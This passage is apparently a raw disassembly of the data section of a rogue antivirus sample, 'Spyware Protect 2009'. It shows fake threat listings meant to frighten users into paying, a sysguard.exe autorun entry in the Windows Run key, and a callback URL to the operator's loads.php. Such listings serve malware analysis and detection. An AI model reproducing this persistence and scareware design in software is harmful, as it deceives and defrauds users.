email and removab> unicode 0, <le drives. It reaches the computer in a file which has th> unicode 0, <e icon of a snowball...>,0 align 10h aBittera_c: ; DATA XREF: UPX0:0042DB54o unicode 0, <BitTera.C>,0 aCritical_3: ; DATA XREF: UPX0:0042DB58o unicode 0, <Critical>,0 align 4 aCategoryVirusI: ; DATA XREF: UPX0:0042DB5Co unicode 0, <Category Virus: It is a malicious tool which allows to cr> unicode 0, <eate any type of malware with different functions, such a> unicode 0, <s to disable the Task Manager, hide the Start button or p> unicode 0, <revent the execution of the Notepad...>,0 aAzero_b: ; DATA XREF: UPX0:0042DB60o unicode 0, <Azero.B>,0 aHigh_6: ; DATA XREF: UPX0:0042DB64o unicode 0, <High>,0 align 4 aCategoryViru_0: ; DATA XREF: UPX0:0042DB68o unicode 0, <Category Virus: It modifies the Desktop wallpaper and inf> unicode 0, <ects executable files, which are then distributed through> unicode 0, < any of the usual means...>,0 align 4 aSality_an: ; DATA XREF: UPX0:0042DB6Co unicode 0, <Sality.AN>,0 aCritical_4: ; DATA XREF: UPX0:0042DB70o unicode 0, <Critical>,0 align 10h aCategoryViru_1: ; DATA XREF: UPX0:0042DB74o unicode 0, <Category Virus: It infects executable files (with an EXE,> unicode 0, < PIF and SCR) and downloads variants of the Trojan family> unicode 0, < called Sinowal, designed to steal user> dw 27h unicode 0, <s banking entities. It spreads by distributing the previo> unicode 0, <usly infected files and making copies of itself in the sy> unicode 0, <stem and removable drives...>,0 align 4 aWinwebsecurity: ; DATA XREF: UPX0:0042DB78o unicode 0, <WinWebSecurity2008>,0 align 4 aMedium_5: ; DATA XREF: UPX0:0042DB7Co unicode 0, <Medium>,0 align 10h aCategoryAdwa_4: ; DATA XREF: UPX0:0042DB80o unicode 0, <Category Adware: It deceives users and warns them of unex> unicode 0, <isting threats in their computers. In order to eliminate > unicode 0, <them, they are enticed to purchase a certain program. It > unicode 0, <can be downloaded from the website belonging to the compa> unicode 0, <ny that has developed it...>,0 aDownloader_js_: ; DATA XREF: UPX0:0042DB84o unicode 0, <Downloader.JS.Small.fi>,0 align 10h aHigh_7: ; DATA XREF: UPX0:0042DB88o unicode 0, <High>,0 align 10h aCategoryTroj_1: ; DATA XREF: UPX0:0042DB8Co unicode 0, <Category Trojan: This Trojan downloads other files via th> unicode 0, <e Internet and launches them for execution on the victim > unicode 0, <machine. The program is an HTML page which contains Java > unicode 0, <Script scenarios. It is 1432 bytes in size. >,0 align 4 aPsw_win32_onli: ; DATA XREF: UPX0:0042DB90o unicode 0, <PSW.Win32.OnLineGames.sxa>,0 aMedium_6: ; DATA XREF: UPX0:0042DB94o unicode 0, <Medium>,0 align 4 aCategoryTroj_2: ; DATA XREF: UPX0:0042DB98o unicode 0, <Category Trojan: This malicious program is a Trojan. It i> unicode 0, <s a Windows PE EXE file. It is 118103 bytes in size. Inst> unicode 0, <allation The Trojan copies its executable file to the Win> unicode 0, <dows system directory: %System%\kavo.exe In order to ensu> unicode 0, <re that the Trojan is launched automatically each time th> unicode 0, <e system is restarted, the... >,0 align 4 aDownloader_win: ; DATA XREF: UPX0:0042DB9Co unicode 0, <Downloader_Win32_Agent.nmi>,0 align 4 aCritical_5: ; DATA XREF: UPX0:0042DBA0o unicode 0, <Critical>,0 align 10h aCategoryTroj_3: ; DATA XREF: UPX0:0042DBA4o unicode 0, <Category Trojan: This Trojan downloads another program vi> unicode 0, <a the Internet and launches it on the victim machine with> unicode 0, <out the user> dword_4225FC dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h, 650067h dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h, 2E0074h dd 490020h, 200074h, 730069h, 610020h, 570020h, 6E0069h dd 6F0064h, 730077h, 500020h, 200045h, 580045h, 200045h dd 690066h, 65006Ch, 20002Eh, 680054h, 200065h, 690073h dd 65007Ah, 6F0020h, 200066h, 6E0069h, 650066h, 740063h dd 640065h, 660020h, 6C0069h, 730065h, 630020h, 6E0061h dd 720020h, 6E0061h, 650067h, 660020h, 6F0072h, 20006Dh dd 380031h, 42004Bh, 740020h, 20006Fh, 370034h, 42004Bh dd 20002Eh, 20h, 6F0044h, 6E0077h, 6F006Ch, 640061h, 720065h dd 57002Eh, 6E0069h, 320033h, 42002Eh, 610072h, 640069h dd 700075h, 610064h, 650074h, 63002Eh, 0 aHigh_8: ; DATA XREF: UPX0:0042DBACo unicode 0, <High>,0 align 4 aCategoryTroj_4: ; DATA XREF: UPX0:0042DBB0o unicode 0, <Category Trojan: This Trojan downloads another program vi> unicode 0, <a the Internet and launches it on the victim machine with> unicode 0, <out the user> dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h, 650067h dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h, 2E0074h dd 490020h, 200074h, 730069h, 610020h, 570020h, 6E0069h dd 6F0064h, 730077h, 500020h, 200045h, 580045h, 200045h dd 690066h, 65006Ch, 20002Eh, 740049h, 690020h, 200073h dd 390037h, 360033h, 200030h, 790062h, 650074h, 200073h dd 6E0069h, 730020h, 7A0069h, 2E0065h, 490020h, 200074h dd 730069h, 770020h, 690072h, 740074h, 6E0065h, 690020h dd 20006Eh, 2B0043h, 2E002Bh, 490020h, 73006Eh, 610074h dd 6C006Ch, 740061h, 6F0069h, 20006Eh, 6E0049h, 6F0020h dd 640072h, 720065h, 740020h, 20006Fh, 6E0065h, 750073h dd 650072h, 740020h, 610068h, 200074h, 680074h, 200065h dd 720054h, 6A006Fh, 6E0061h, 690020h, 200073h, 61006Ch dd 6E0075h, 680063h, 640065h, 610020h, 740075h, 6D006Fh dd 740061h, 630069h, 6C0061h, 79006Ch, 650020h, 630061h dd 2E0068h, 2E002Eh, 200020h, 0 aDownloader_j_0: ; DATA XREF: UPX0:0042DBB4o unicode 0, <Downloader.JS.Agent.sg>,0 align 4 aMedium_7: ; DATA XREF: UPX0:0042DBB8o unicode 0, <Medium>,0 align 10h aCategoryTroj_5: ; DATA XREF: UPX0:0042DBBCo unicode 0, <Category Trojan: This Trojan downloads other files via th> unicode 0, <e Internet and launches them for execution on the victim > unicode 0, <machine. It is an HTML page which contains Visual Basic S> unicode 0, <cript and Java Script. It is 677 bytes in size. >,0 align 10h aGamethief_win3: ; DATA XREF: UPX0:0042DBC0o unicode 0, <GameThief.Win32.OnLineGames.tnys>,0 align 4 aMedium_8: ; DATA XREF: UPX0:0042DBC4o unicode 0, <Medium>,0 align 8 aCategoryTroj_6: ; DATA XREF: UPX0:0042DBC8o unicode 0, <Category Trojan: This Trojan is designed to steal account> unicode 0, < data from the online game LineAge2. It is a Windows PE E> unicode 0, <XE file. It is 654848 bytes in size. >,0 align 4 aPsw_win32_on_0: ; DATA XREF: UPX0:0042DBCCo unicode 0, <PSW.Win32.OnLineGames.rlh>,0 aHigh_9: ; DATA XREF: UPX0:0042DBD0o unicode 0, <High>,0 align 10h aCategoryTroj_7: ; DATA XREF: UPX0:0042DBD4o unicode 0, <Category Trojan: This malicious program is a Trojan. It i> unicode 0, <s a Windows PE EXE file. It is 112736 bytes in size. Inst> unicode 0, <allation The Trojan copies its executable file to the Win> unicode 0, <dows system directory: %System%\kavo.exe In order to ensu> unicode 0, <re that the Trojan is launched automatically each time th> unicode 0, <e system is restarted, the... >,0 align 4 aDownloader_w_0: ; DATA XREF: UPX0:0042DBD8o unicode 0, <Downloader.Win32.Delf.cgx>,0 aHigh_10: ; DATA XREF: UPX0:0042DBDCo unicode 0, <High>,0 align 10h aCategoryTroj_8: ; DATA XREF: UPX0:0042DBE0o unicode 0, <Category Trojan: This Trojan downloads other files via th> unicode 0, <e Internet and launches them for execution on the victim > unicode 0, <machine without the user> dword_423144 dd 732019h, 6B0020h, 6F006Eh, 6C0077h, 640065h, 650067h dd 6F0020h, 200072h, 6F0063h, 73006Eh, 6E0065h, 2E0074h dd 490020h, 200074h, 730069h, 610020h, 570020h, 6E0069h dd 6F0064h, 730077h, 500020h, 200045h, 580045h, 200045h dd 690066h, 65006Ch, 20002Eh, 740049h, 690020h, 200073h dd 380034h, 320031h, 200038h, 790062h, 650074h, 200073h dd 6E0069h, 730020h, 7A0069h, 2E0065h, 490020h, 200074h dd 730069h, 700020h, 630061h, 65006Bh, 200064h, 730075h dd 6E0069h, 200067h, 450050h, 6F0043h, 70006Dh, 630061h dd 2E0074h, 540020h, 650068h, 750020h, 70006Eh, 630061h dd 65006Bh, 200064h, 690066h, 65006Ch, 690020h, 200073h dd 700061h, 720070h, 78006Fh, 6D0069h, 740061h, 6C0065h dd 200079h, 330031h, 4B0031h, 200042h, 6E0069h, 730020h dd 7A0069h, 2E0065h, 490020h, 200074h, 730069h, 2E002Eh dd 20002Eh, 20h, 610042h, 6B0063h, 6F0064h, 72006Fh, 57002Eh dd 6E0069h, 320033h, 53002Eh, 61006Dh, 6C006Ch, 78002Eh dd 0 aHigh_11: ; DATA XREF: UPX0:0042DBE8o unicode 0, <High>,0 align 4 aCategoryBack_0: ; DATA XREF: UPX0:0042DBECo unicode 0, <Category Backdoor: This Trojan provides a remote maliciou> unicode 0, <s user with access to the victim machine. It is a Windows> unicode 0, < PE EXE file. It is 1087 bytes in size. >,0 aAazalirt: ; DATA XREF: UPX0:off_42DBF0o unicode 0, <aazalirt>,0 align 4 aSkaaanret: ; DATA XREF: UPX0:0042DBF4o unicode 0, <skaaanret>,0 aJungertab: ; DATA XREF: UPX0:0042DBF8o unicode 0, <jungertab>,0 aZibaglertz: ; DATA XREF: UPX0:0042DBFCo unicode 0, <zibaglertz>,0 align 4 aIddqdops: ; DATA XREF: UPX0:0042DC00o unicode 0, <iddqdops>,0 align 4 aRonitfst: ; DATA XREF: UPX0:0042DC04o unicode 0, <ronitfst>,0 align 4 aTobmygers: ; DATA XREF: UPX0:0042DC08o unicode 0, <tobmygers>,0 aJikglond: ; DATA XREF: UPX0:0042DC0Co unicode 0, <jikglond>,0 align 4 aTobykke: ; DATA XREF: UPX0:0042DC10o unicode 0, <tobykke>,0 aKlopnidret: ; DATA XREF: UPX0:0042DC14o unicode 0, <klopnidret>,0 align 4 aJiklagka: ; DATA XREF: UPX0:0042DC18o unicode 0, <jiklagka>,0 align 10h aSalrtybek: ; DATA XREF: UPX0:0042DC1Co unicode 0, <salrtybek>,0 aSeeukluba: ; DATA XREF: UPX0:0042DC20o unicode 0, <seeukluba>,0 aJrjakdsd: ; DATA XREF: UPX0:0042DC24o unicode 0, <jrjakdsd>,0 align 4 aKrkdkdkee: ; DATA XREF: UPX0:0042DC28o unicode 0, <krkdkdkee>,0 aDkewiizkjdks: ; DATA XREF: UPX0:0042DC2Co unicode 0, <dkewiizkjdks>,0 align 4 aDkekkrkska: ; DATA XREF: UPX0:0042DC30o unicode 0, <dkekkrkska>,0 align 4 aRkaskssd: ; DATA XREF: UPX0:0042DC34o unicode 0, <rkaskssd>,0 align 4 aKuruhccdsdd: ; DATA XREF: UPX0:0042DC38o unicode 0, <kuruhccdsdd>,0 aKrujmmwlrra: ; DATA XREF: UPX0:0042DC3Co unicode 0, <krujmmwlrra>,0 aKkwknrbsggeg: ; DATA XREF: UPX0:0042DC40o unicode 0, <kkwknrbsggeg>,0 align 4 aKtknamwerr: ; DATA XREF: UPX0:0042DC44o unicode 0, <ktknamwerr>,0 align 4 aIqmcnoeqz: ; DATA XREF: UPX0:0042DC48o unicode 0, <iqmcnoeqz>,0 aIenotas: ; DATA XREF: UPX0:0042DC4Co unicode 0, <ienotas>,0 aKrkmahejdk: ; DATA XREF: UPX0:0042DC50o unicode 0, <krkmahejdk>,0 align 4 aOtpeppggq: ; DATA XREF: UPX0:0042DC54o unicode 0, <otpeppggq>,0 aKrtawefg: ; DATA XREF: UPX0:0042DC58o unicode 0, <krtawefg>,0 align 10h aOranerkka: ; DATA XREF: UPX0:0042DC5Co unicode 0, <oranerkka>,0 aKitiiwhaas: ; DATA XREF: UPX0:0042DC60o unicode 0, <kitiiwhaas>,0 align 4 aOtowjdseww: ; DATA XREF: UPX0:0042DC64o unicode 0, <otowjdseww>,0 align 4 aOtnnbektre: ; DATA XREF: UPX0:0042DC68o unicode 0, <otnnbektre>,0 align 4 aOropbbsee: ; DATA XREF: UPX0:0042DC6Co unicode 0, <oropbbsee>,0 aIrprokwks: ; DATA XREF: UPX0:0042DC70o unicode 0, <irprokwks>,0 aOoorjaas: ; DATA XREF: UPX0:0042DC74o unicode 0, <ooorjaas>,0 align 4 aSoftwareAvsc_0: ; DATA XREF: UPX0:0041C82Eo unicode 0, <Software\AvScan>,0 aActcode: ; DATA XREF: sub_4170DD+18o unicode 0, <actcode>,0 aReady: ; DATA XREF: sub_416F74+28o unicode 0, <ready>,0 aReady_0: ; DATA XREF: sub_4170C1o unicode 0, <ready>,0 aEmail_0: ; DATA XREF: sub_417023+31o unicode 0, <email>,0 aEmail_1: ; DATA XREF: sub_41709B+7o unicode 0, <email>,0 aPurchaseFullVe: ; DATA XREF: sub_417588+C0o unicode 0, <Purchase full version Spyware Protect 2009>,0 align 10h asc_4237A0: ; DATA XREF: sub_4173E1+56o unicode 0, <\>,0 aSysguard_exe: ; DATA XREF: sub_4173E1+6Fo unicode 0, <sysguard.exe>,0 align 10h aSysguard_exe_0: ; DATA XREF: sub_4173E1+76o unicode 0, <sysguard.exe>,0 align 10h aSoftwareMicros: ; DATA XREF: sub_4173E1+B0o unicode 0, <Software\Microsoft\Windows\CurrentVersion\Run>,0 aSysguard: ; DATA XREF: sub_4173E1+E0o unicode 0, <sysguard>,0 align 10h aHttpSpywprot_0: ; DATA XREF: sub_4173E1+133o unicode 0, <http://spywprotect2009.com/loads.php>,0 align 4 a?r: ; DATA XREF: sub_4173E1+15Co unicode 0, <?r=>,0 a16_0_0: ; DATA XREF: sub_4173E1+172o unicode 0, <16.0>,0 align 10h aSoftwareAvscan: ; DATA XREF: sub_417692+69o unicode 0, <Software\AvScan>,0 aS: unicode 0, <S>,0 aM: unicode 0, <M>,0 aD: unicode 0, <D>,0 aB: unicode 0, <B>,0 aVal_0: unicode 0, <Val>,0 aForceremove_0: unicode 0, <ForceRemove>,0 aNoremove_0: unicode 0, <NoRemove>,0 align 4 aDelete_2: unicode 0, <Delete>,0 align 4 aAppid: ; DATA XREF: UPX0:off_423C6Co unicode 0, <AppID>,0 aClsid_0: ; DATA XREF: UPX0:00423C70o unicode 0, <CLSID>,0 aComponentCat_0: ; DATA XREF: UPX0:00423C74o unicode 0, <Component Categories>,0 align 4 aFiletype_0: ; DATA XREF: UPX0:00423C78o unicode 0, <FileType>,0 align 4 aInterface_0: ; DATA XREF: UPX0:00423C7Co unicode 0, <Interface>,0 aHardware_0: ; DATA XREF: UPX0:00423C80o unicode 0, <Hardware>,0 align 4 aMime: ; DATA XREF: UPX0:00423C84o unicode 0, <Mime>,0 align 10h off_4239B0 dd offset loc_410053 ; DATA XREF: UPX0:00423C88o dword_4239B4 dd 4Dh, 450053h, 550043h, 490052h, 590054h, 0aSystem_0: ; DATA XREF: UPX0:00423C90o unicode 0, <SYSTEM>,0 align 4 aSoftware_0: ; DATA XREF: UPX0:00423C94o unicode 0, <Software>,0 align 10h aTypelib_0: ; DATA XREF: UPX0:00423C98o unicode 0, <TypeLib>,0 asc_423A00: ; DATA XREF: sub_401496+14o unicode 0, <:>,0 dword_423A04 dd 0 dword_423A08 dd 0 dword_423A0C dd 20646162h, 6F6C6C61h, 69746163h, 6E6FhaShow: ; DATA XREF: sub_418A96+96o unicode 0, <Show>,0 align 4 aClose: ; DATA XREF: sub_418A96+B0o unicode 0, <Close>,0 aSettitle: ; DATA XREF: sub_418A96+C6o unicode 0, <SetTitle>,0 align 4 aDragwindow: ; DATA XREF: sub_418A96+DCo unicode 0, <DragWindow>,0 align 10h aResizewindow: ; DATA XREF: sub_418A96+F2o unicode 0, <ResizeWindow>,0 align 4 aMinimizewindow: ; DATA XREF: sub_418A96+108o unicode 0, <MinimizeWindow>,0 align 4 aTogglemaximize: ; DATA XREF: sub_418A96+11Eo unicode 0, <ToggleMaximizeNormalWindow>,0 align 4 aSetopacity: ; DATA XREF: sub_418A96+134o unicode 0, <SetOpacity>,0 align 4 dword_423AEC dd 0 aRightbottom: ; DATA XREF: sub_417C70+B5o unicode 0, <rightbottom>,0 aCenter: ; DATA XREF: sub_417C70+FEo unicode 0, <center>,0 align 4 aMouse: ; DATA XREF: sub_417C70+197o unicode 0, <mouse>,0 dword_423B24 dd 0 aRes: ; DATA XREF: sub_41889D+BFo unicode 0, <res://>,0 align 4 asc_423B38: ; DATA XREF: sub_41889D+ECo unicode 0, </>,0 dword_423B3C dd 10Fh, 0 dd 0C0h, 46000000h, 0BD3F23C0h, 11CFD43Eh, 0AA003B89h dd 1ACEBD00h, 0B6EA2051h, 11D1048Ah, 0C000B982h, 2E94B94Fh dword_423B6C dd 0B2D0778Bh, 4C58AC99h, 72E7C8A5h, 0B516534Eh ; DATA XREF: UPX0:off_42DEA4o dword_423B7C dd 6D5140C1h, 11CE7436h, 0AA003480h, 0FA096000hdword_423B8C dd 0FC4801A3h, 11CF2BA9h, 0AA0029A2h, 52733D00h ; sub_404083+3AEo dword_423B9C dd 11Bh, 0 dd 0C0h, 46000000h, 0B196B289h, 101ABAB4h, 0AA009CB6h dd 71D3400h, 119h, 0 dd 0C0h, 46000000h, 9C2CAD80h, 11CF3424h, 0AA0070B6h, 0D8D64C00h dd 922EADA0h, 11CF3424h, 0AA0070B6h, 0D8D64C00h dword_423BEC dd 118h, 0 ; sub_4026BE+2Fo ... dd 0C0h, 46000000h dword_423BFC dd 3935BDA8h, 495C4ED9h, 1FE05086h, 4B8AE3C1hdword_423C0C dd 0B6EA2050h, 11D1048Ah, 0C000B982h, 2E94B94Fh ; sub_4053D6+4Eo ... dword_423C1C dd 20400h, 0 ; sub_417E88+Bo ... dd 0C0h, 46000000h, 114h, 0 dd 0C0h, 46000000h dword_423C3C dd 115h, 0 ; UPX0:off_423D04o dd 0C0h, 46000000h dword_423C4C dd 116h, 0 ; UPX0:off_423CACo dd 0C0h, 46000000h dword_423C5C dd 44EC0535h, 11D0400Fh, 0A000CD9Dh, 0D39103C9hoff_423C6C dd offset aAppid ; DATA XREF: sub_408039+1o ; "AppID" dd offset aClsid_0 ; "CLSID" dd offset aComponentCat_0 ; "Component Categories" dd offset aFiletype_0 ; "FileType" dd offset aInterface_0 ; "Interface" dd offset aHardware_0 ; "Hardware" dd offset aMime ; "Mime" dd offset off_4239B0 dd offset dword_4239B4+4 dd offset aSystem_0 ; "SYSTEM" dd offset aSoftware_0 ; "Software" dd offset aTypelib_0 ; "TypeLib" a32770: ; DATA XREF: sub_40188D+2Co ; sub_408039+19o unicode 0, <#32770>,0 align 4 off_423CAC dd offset dword_423C4C ; DATA XREF: sub_404F0D+11o dd 24h, 1, 423C3Ch, 24h, 1, 423C2Ch, 24h, 1, 3 dup(0) aAxwinFrameWind: ; DATA XREF: sub_404D0B+37o unicode 0, <AXWIN Frame Window>,0 align 4 off_423D04 dd offset dword_423C3C ; DATA XREF: sub_404FB1+11o dd 24h, 1, 423C2Ch, 24h, 1, 3 dup(0) aAxwinUiWindow: ; DATA XREF: sub_404D5C+37o unicode 0, <AXWIN UI Window>,0 off_423D48 dd offset dword_423C1C ; DATA XREF: sub_4058EE+37o dd 4Ch, 1, 423C0Ch, 24h, 1, 423BFCh, 24h, 1, 423BECh, 28h dd 1, 423BDCh, 2Ch, 1, 423BCCh, 2Ch, 1, 423BBCh, 2Ch, 1 dd 423C2Ch, 2Ch, 1, 423BACh, 30h, 1, 423B9Ch, 34h, 1, 423B8Ch dd 38h, 1, 423B7Ch, 40h, 1, 423B6Ch, 4Ch, 1, 423B5Ch, 4Ch dd 1, 423B4Ch, 48h, 1, 423B3Ch, 44h, 1, 3 dup(0) aAtlaxwin80: ; DATA XREF: sub_404725+47o ; sub_41889D+68o unicode 0, <AtlAxWin80>,0 align 4 aAxwin: ; DATA XREF: sub_404083+293o unicode 0, <AXWIN>,0 aWm_atlgethost: ; DATA XREF: sub_404725+22o unicode 0, <WM_ATLGETHOST>,0 aWm_atlgetcontr: ; DATA XREF: sub_404725+2Eo unicode 0, <WM_ATLGETCONTROL>,0 align 4 aAtlP: ; DATA XREF: sub_406DD8+E8o unicode 0, <ATL:%p>,0 align 4 aAtlaxwinlic80: ; DATA XREF: sub_404725+EEo unicode 0, <AtlAxWinLic80>,0 off_423EA4 dd offset dword_41EF34 ; DATA XREF: sub_405074+Do ; sub_406C2A+8Ao dd 0 dd 1, 3 dup(0) aMapSetTTooLong db 'map/set<T> too long',0 ; DATA XREF: sub_405CA8+17o aInvalidMapSetT db 'invalid map/set<T> iterator',0 ; DATA XREF: sub_406130+15o dd offset dword_4261DC off_423EF0 dd offset sub_4058EE ; DATA XREF: sub_4057F4+16o ; sub_40587D+Fo ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 58h, 40h, 0 dd offset loc_4058D0 dd offset loc_405974 dd offset dword_425E2C off_423F04 dd offset sub_401DB8 ; DATA XREF: sub_404EC4+3o ; sub_407031+2Do dd offset sub_4052ED dd offset sub_404D56 dd offset nullsub_2 align 8 dd offset dword_425E18 off_423F1C dd offset sub_404F0D ; DATA XREF: sub_404EC4+9o ; sub_407031+33o dd offset sub_404F75 dd offset sub_404F86 dd offset sub_401DBD dd offset sub_401E40 dd offset sub_401E40 dd offset sub_401DF9 dd offset sub_401E40 dd offset sub_401E45 dd offset sub_401E01 dd offset sub_401E06 dd offset sub_401E40 dd offset sub_401E40 dd offset sub_401E40 dd offset sub_401E0B dd offset dword_425D04 off_423F5C dd offset sub_401DB8 ; DATA XREF: sub_404F2C+3o ; sub_40707B+2Do dd offset sub_405309 dd offset sub_404D56 dd offset nullsub_2 dd offset dword_425CF0 off_423F70 dd offset sub_404FB1 ; DATA XREF: sub_404F2C+9o ; sub_40707B+33o dd offset sub_404F75 dd offset sub_404F86 dd offset sub_401E11 dd offset sub_401E40 dd offset sub_401E40 dd offset sub_401DF9 dd offset sub_401E40 dd offset sub_401E45 dd offset dword_425B9C off_423F98 dd offset sub_405074 ; DATA XREF: sub_404FD0+25o ; sub_40500B+4o dd offset sub_405039 dd offset sub_40504A dd offset sub_406B27 dd offset sub_406BF2 dd offset sub_40508F dd offset sub_406C2A dd offset sub_405325 dd offset dword_4258D8 off_423FBC dd offset sub_404BAF ; DATA XREF: sub_404B59+11o ; sub_418A96+2Eo dd offset sub_4091D6 dd offset sub_404D56 dd offset nullsub_3 ; --------------------------------------------------------------------------- xor edi, [ecx+41h] add [edx+7Ah], ah inc ecx add ah, al pop eax inc edx loc_423FD7: ; DATA XREF: sub_404B59+17o ; sub_418A96+34o add [eax-16FFBE82h], cl ja short loc_42401F add cl, ch ja short near ptr loc_424021+2 add [edi+300404Bh], ah cmp al, [eax+0] retn ; --------------------------------------------------------------------------- db 7Fh, 41h, 0 dd offset sub_418A6B dd offset dword_424F28 off_423FF8 dd offset sub_402032 ; DATA XREF: sub_4057F4+21o dd offset sub_405EED dd offset sub_404D56 dd offset sub_402024 dd offset sub_405970 dd offset dword_424F14 off_424010 dd offset loc_405959 ; DATA XREF: sub_4057F4+27o dd offset loc_405939 dd offset loc_405949 db 0E8h, 29h, 40h ; --------------------------------------------------------------------------- loc_42401F: ; CODE XREF: UPX0:00423FDDj add [esi], ah loc_424021: ; CODE XREF: UPX0:00423FE1j sub al, [eax+0] dec edx sub al, [eax+0] in eax, dx sub al, [eax+0] sbb al, 2Bh inc eax add [ecx], bh sub eax, [eax+0] push esi sub eax, [eax+0] xchg eax, ebp sub eax, [eax+0] add [edi+42h], cl loc_42403F: ; DATA XREF: sub_4057F4+2Eo add [ebx], al jb short loc_424083 add dl, al jno short near ptr loc_424083+4 add [ebp+4D004072h], cl cmp al, 40h add [ebx], al cmp al, [eax+0] or edi, [edx] inc eax add [ecx+3Ah], cl inc eax add [edi+4D00404Bh], ah cmp al, 40h ; --------------------------------------------------------------------------- db 0 align 8 dd offset dword_424EEC off_42406C dd offset loc_40722B ; DATA XREF: sub_4057F4+35o dd offset loc_4071EA dd offset loc_407190 ; --------------------------------------------------------------------------- cdq cmp al, [eax+0] cmpsd dec ebx inc eax add [eax+3Dh], dl inc eax loc_424083: ; CODE XREF: UPX0:00424041j ; UPX0:00424045j add [ebx-23FFBFC6h], ch cmp al, [eax+0] jmp near ptr 1A4280CBh ; --------------------------------------------------------------------------- db 3Ch, 40h, 0 dd offset loc_403C22 dd offset loc_403C2F dd offset sub_403C4D dd offset sub_403C4D dd offset sub_403C55 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 3Ch, 40h, 0 dd offset loc_403D32 dd offset sub_403D50 dd offset loc_403D55 dd offset loc_403D67 dd offset loc_403D79 dd offset loc_403DA8 dd offset loc_403DBA dd offset sub_403DD3 dd offset sub_403EA4 dd offset sub_403F10 dd offset sub_403F2A dd offset sub_403F44 dd offset sub_401E40 dd offset sub_403F49 dd offset dword_424ED8 off_4240E8 dd offset loc_407249 ; DATA XREF: sub_4057F4+3Co dd offset loc_407221 dd offset loc_4071B8 dd offset sub_403D50 dd offset sub_401E40 dd offset sub_403F6F dd offset sub_403A03 dd offset sub_401E0B dd offset sub_403F95 dd offset sub_403C4D dd offset dword_424EC4 off_424114 dd offset loc_40726F ; DATA XREF: sub_4057F4+43o dd offset loc_40723F dd offset loc_4071E0 dd offset sub_403FB7 dd offset sub_403FBF dd offset sub_404067 dd offset dword_424EB0 off_424130 dd offset loc_407283 ; DATA XREF: sub_4057F4+4Ao dd offset loc_407265 dd offset loc_407217 dd offset loc_4039B0 dd offset sub_404DCF dd offset sub_40725D dd offset dword_424E9C off_42414C dd offset loc_4071AE ; DATA XREF: sub_4057F4+51o dd offset loc_407186 dd offset loc_407253 dd offset sub_40463E dd offset dword_424E88 off_424160 dd offset loc_4071D6 ; DATA XREF: sub_4057F4+58o dd offset loc_4071A4 dd offset loc_407279 dd offset nullsub_4 dd offset nullsub_4 dd offset nullsub_5 dd offset nullsub_2 dd offset nullsub_2 dd offset dword_424E74 off_424184 dd offset loc_40720D ; DATA XREF: sub_4057F4+5Fo dd offset loc_4071CC dd offset sub_40717C dd offset sub_402F6F dd offset sub_402FAD dd offset sub_402FF0 dd offset sub_40302C dd offset sub_403042 dd offset sub_403058 dd offset sub_403077 dd offset sub_403096 dd offset sub_4030B5 dd offset sub_4030E7 dd offset sub_403138 dd offset sub_4031D9 dd offset sub_403246 dd offset sub_403293 dd offset sub_40334D align 10h dd offset dword_424E60 off_4241D4 dd offset loc_407235 ; DATA XREF: sub_4057F4+66o dd offset loc_4071F4 dd offset loc_40719A dd offset sub_404E09 dd offset sub_404E23 dd offset sub_404E64 dd offset sub_403418 dd offset sub_40348B dd offset sub_4034A1 dd offset sub_4034C9 dd offset sub_4034F9 dd offset sub_403519 dd offset sub_40353A dd offset sub_40355A dd offset sub_40357B dd offset sub_40359B dd offset sub_4035C2 dd offset sub_4035EA dd offset sub_403612 dd offset sub_40363A dd offset sub_40366A dd offset sub_4037BF dd offset sub_4037E7 dd offset sub_40380F dd offset sub_40381B dd offset sub_403834 dd offset sub_403852 dd offset sub_403872 dd offset sub_403885 dd offset sub_4038A5 dd offset sub_4038BF dd offset sub_4038E7 dd offset sub_403901 dd offset sub_403929 dd offset sub_403973 dd offset sub_403993 dword_424264 dd 2 dup(0) ; sub_4066EE+5Ao ... dd 0C0h, 46000000h dword_424274 dd 109h, 0 dd 0C0h, 46000000h dword_424284 dd 7FD52380h, 101B4E07h, 82DAEh, 13C72E2Bh ; sub_404083+C1o dword_424294 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; sub_40154B+1Fo dword_4242A4 dd 25336920h, 11CF03F9h, 0AA00D08Fh, 136F6800hdword_4242B4 dd 8856F961h, 11D0340Ah, 0C0006BA9h, 0A205D74Fhdword_4242C4 dd 0B196B28Fh, 101ABAB4h, 0AA009CB6h, 71D3400hdword_4242D4 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh ; sub_417FE1+1Eo ... dword_4242E4 dd 122h, 0 dd 0C0h, 46000000h dword_4242F4 dd 10Eh, 0 dd 0C0h, 46000000h dword_424304 dd 0B196B288h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_424314 dd 0BEF6E003h, 101AA874h, 0AA00BA8Bh, 0AB0C3000h ; DATA XREF: sub_40366A+11Ao dword_424324 dd 113h, 0 ; UPX0:00403D0Fo dd 0C0h, 46000000h byte_424334 db 0CCh ; DATA XREF: UPX0:00403CF6o db 56h, 20h, 1Ch dd 101B5EF4h, 0AA00C88Bh, 293B3E00h dword_424344 dd 112h, 0 dd 0C0h, 46000000h dword_424354 dd 3AF24292h, 11CE0C96h, 0AA00CFA0h, 0B80A6000hdword_424364 dd 127h, 0 dd 0C0h, 46000000h dword_424374 dd 10Dh, 0 dd 0C0h, 46000000h dword_424384 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_40983C+28o ... dword_424394 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh ; sub_41889D+157o dword_4243A4 dd 20412h, 0 dd 0C0h, 46000000h dword_4243B4 dd 20401h, 0 dd 0C0h, 46000000h, 4B0048h, 590045h, 43005Fh, 520055h dd 450052h, 54004Eh, 43005Fh, 4E004Fh, 490046h, 47h, 4B0048h dd 590045h, 44005Fh, 4E0059h, 44005Fh, 540041h, 41h, 4B0048h dd 590045h, 50005Fh, 520045h, 4F0046h, 4D0052h, 4E0041h dd 450043h, 44005Fh, 540041h, 41h, 4B0048h, 590045h, 55005Fh dd 450053h, 530052h, 0 aHkey_local_mac: unicode 0, <HKEY_LOCAL_MACHINE>,0 align 4 aHkey_current_u: unicode 0, <HKEY_CURRENT_USER>,0 aHkey_classes_r: 